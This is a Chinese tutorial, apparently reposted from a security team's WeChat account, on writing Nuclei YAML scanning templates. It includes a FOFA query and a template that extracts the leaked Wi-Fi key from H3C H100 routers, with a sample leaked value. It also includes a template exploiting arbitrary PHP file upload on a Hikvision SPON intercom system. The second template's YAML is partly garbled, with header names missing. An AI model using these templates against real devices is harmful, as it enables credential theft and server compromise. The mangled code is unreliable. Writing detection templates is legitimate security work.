基础篇没看过的师傅建议先看一下关于Yaml脚本的基础知识及往期文章:
【脚本编写】Nuclei-yaml脚本速成新手教程--基础篇
【脚本编写】Nuclei-yaml脚本速成新手教程--SQL注入篇
FOFA:body="/grwizard/h3c.ico"
GET /h3c/local/ssidName HTTP/1.1
Host: 127.0.0.1:8080
首先,分析下poc的具体情况:
漏洞位置在/h3c/local/ssidName,密码就在ssidKey字段中
(其实这里泄露的不是密码,只是ssidkey值中的内容,与密码经常会保持一致)
知道了具体漏洞特征后,那么,我们开始编写批量扫描脚本吧:
首先先把模板的标题和信息块固定好
id: H3C-H100-router-info
info:
name: H3C-H100-router-info
author: 思沃科技
severity: high
description: H3C-H100路由器-信息泄露漏洞
模板固定好以后,就是POC的正文:
已知条件:通过GET方式请求问题链接
/h3c/local/ssidName
如果存在漏洞,即可获取ssidkey信息
那么,我们按照上图的细节,进行编写:
id: H3C-H100-router-info
info:
name: H3C-H100-router-info
author: 思沃科技
severity: high
description: H3C-H100路由器-信息泄露漏洞
http:
- raw:
- |
GET /h3c/local/ssidName HTTP/1.1
Host: {{Hostname}}
首先,这个方法是通过GET方式去访问一个页面,那么,这个页面必须存在,才能判断是否有漏洞,对吧~ 那,我们先给这个GET方法,匹配一个HTTP响应码为200的请求吧,毕竟只有页面存在,才能知道有没有漏洞,要是返回404了,那还看个毛线啊~so……
id: H3C-H100-router-info
info:
name: H3C-H100-router-info
author: 思沃科技
severity: high
description: H3C-H100路由器-信息泄露漏洞
http:
- raw:
- |
GET /h3c/local/ssidName HTTP/1.1
Host: {{Hostname}}
matchers:
- type: status
status:
- 200 #匹配响应码为200的请求
我们可以看到,确实是可以匹配到存在该页面的站点,那么,挨个的访问看一下结果。
这个站点虽然返回是200,但是ssidkey却是空的,用处不大,再看下一个,这个可以,ssidkey中有内容
到目前来说,基本的测试已经结束了,但是光这样可不行,如果按照目前匹配响应码为200进行探测的话,那误报可就太多了
既然已经知道了漏洞页面返回的一些内容,那么,我们就把这些关键词摘抄出来,作为判断依据,这样即使我们去扫描H3C其他类型的路由器,也不会误报了。例如,我们将匹配规则稍微改动下:
id: H3C-H100-router-info
info:
name: H3C-H100-router-info
author: 思沃科技
severity: high
description: H3C-H100路由器-信息泄露漏洞
http:
- raw:
- |
GET /h3c/local/ssidName HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: USGSESSID=a9523e6ede287f558817c3bbcf9a60be
Upgrade-Insecure-Requests: 1
matchers:
- type: word #匹配关键词
part: body #从body处进行匹配,如果你想匹配HTTP头信息,那么这里的“body”可以改成“header”,可以用来匹配cookie、User-Agent等信息;
words:
- "ssidKey" #匹配response返回包中的关键词信息
- "ssidName5g" #匹配response返回包中的关键词信息
condition: and #同时满足上述两个规则后,则返回true。
#密码就在ssidKey字段 #这是备注~~怕自己忘了就备注下
这样就好很多了,至少误报的概率小了,其实,到这里,一个信息泄露的POC基本就写完了,但是,如果你有强迫症,请继续看:
如果你觉得这样写太敷衍,那么可以换一种方式来折磨自己……不知道各位看官有没有注意到,该漏洞页面,返回的信息是json格式的
{ "retCode": 0, "ssidName24g": "Yingbao", "ssidName5g": "Yingbao_5G", "ssidKey": "winbull@123" }
如果遇到这样的情况,你可以用之前《基础常识篇》里说到的方法,json筛选器来进行匹配
id: H3C-H100-router-info
info:
name: H3C-H100-router-info
author: 思沃科技
severity: high
description: H3C-H100路由器-信息泄露漏洞
http:
- raw:
- |
GET /h3c/local/ssidName HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: USGSESSID=a9523e6ede287f558817c3bbcf9a60be
Upgrade-Insecure-Requests: 1
extractors: #正则表达式提取器,可以将匹配到的内容提取出来
- type: json #json筛选器
part: body #从body处进行匹配
json:
- .ssidKey #匹配规则,因为上文返回包信息只嵌套了一层括号,这里我们只需要这样写就足够了
我们来看下效果:
可以看到,通过json筛选器,我们直接匹配到了想要的结果,并且,不为空的话,会输出对应的值,这样看起来是不是更方便一些呢?
json正则匹配,可以从这个网站自己去测试哈,具体语法自行百度吧,毕竟这个不是这次要说的东西~~
一般情况下,文件上传漏洞,除了要考虑绕过各种限制,上传我们的脚本文件以外,还需要获取上传路径,来进行访问。
在文件上传漏洞的yaml文件编写时,我们最常见的情况有三种;
1.固定文件名+路径;
2.固定上传路径+随机文件名;
3.随机文件名+随机文件上传路径;
POST /php/addscenedata.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Connection: close
Content-Length: 218
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4LuoBRpTiVBo9cIQ
Accept-Encoding: gzip
------WebKitFormBoundary4LuoBRpTiVBo9cIQ
Content-Disposition: form-data; name="upload"; filename="9527.php"
Content-Type: text/plain
123
------WebKitFormBoundary4LuoBRpTiVBo9cIQ--
文件上传位置:
/images/scene/9527.php
像上述这样的情况,就是典型的固定上传路径+固定文件名的方式,写起来比较简单
知道了具体漏洞特征后,那么,我们开始编写批量扫描脚本吧:首先把模板的标题和信息块固定好
id: haikang-SPON-addscenedata-upload
info:
name: haikang-SPON-addscenedata-upload
author: 思沃科技
severity: high
description: 海康威视SPON IP网络对讲广播系统addscenedata存在任意文件上传漏洞
模板固定好以后,就是POC的正文:
那么,我们按照上图的细节,进行编写:
id: haikang-SPON-addscenedata-upload
info:
name: haikang-SPON-addscenedata-upload
author: 思沃科技
severity: high
description: 海康威视SPON IP网络对讲广播系统addscenedata存在任意文件上传漏洞
http:
raw:
|
POST /php/addscenedata.php HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 :
Connection: close
218 :
multipart/form-data; boundary=----WebKitFormBoundary4LuoBRpTiVBo9cIQ :
gzip :
------WebKitFormBoundary4LuoBRpTiVBo9cIQ
form-data; name="upload"; filename="9527.php" :
text/plain :
123
------WebKitFormBoundary4LuoBRpTiVBo9cIQ--
| #多请求的时候,一定要注意加 “-|”哈
GET /images/scene/9527.php HTTP/1.1
Host: {{Hostname}}
gzip :
matchers:
type: dsl
dsl:
"status_code == 200 && contains(body,'123')" #匹配条件:页面返回响应码为200,并且,页面内的body中,包含“123”这个特征,同时满足两者,才会返回true。
这个漏洞的yaml编写方式比较简单,也没用到新的知识点,就不再赘述了,这里我把备注标在代码里,方便大家理解。我们做下测试:
可以看到,确实是可以正常匹配到存在该漏洞的站点
原文始发于微信公众号(银遁安全团队):【脚本编写】Nuclei-yaml脚本速成新手教程--信息泄露、文件上传篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论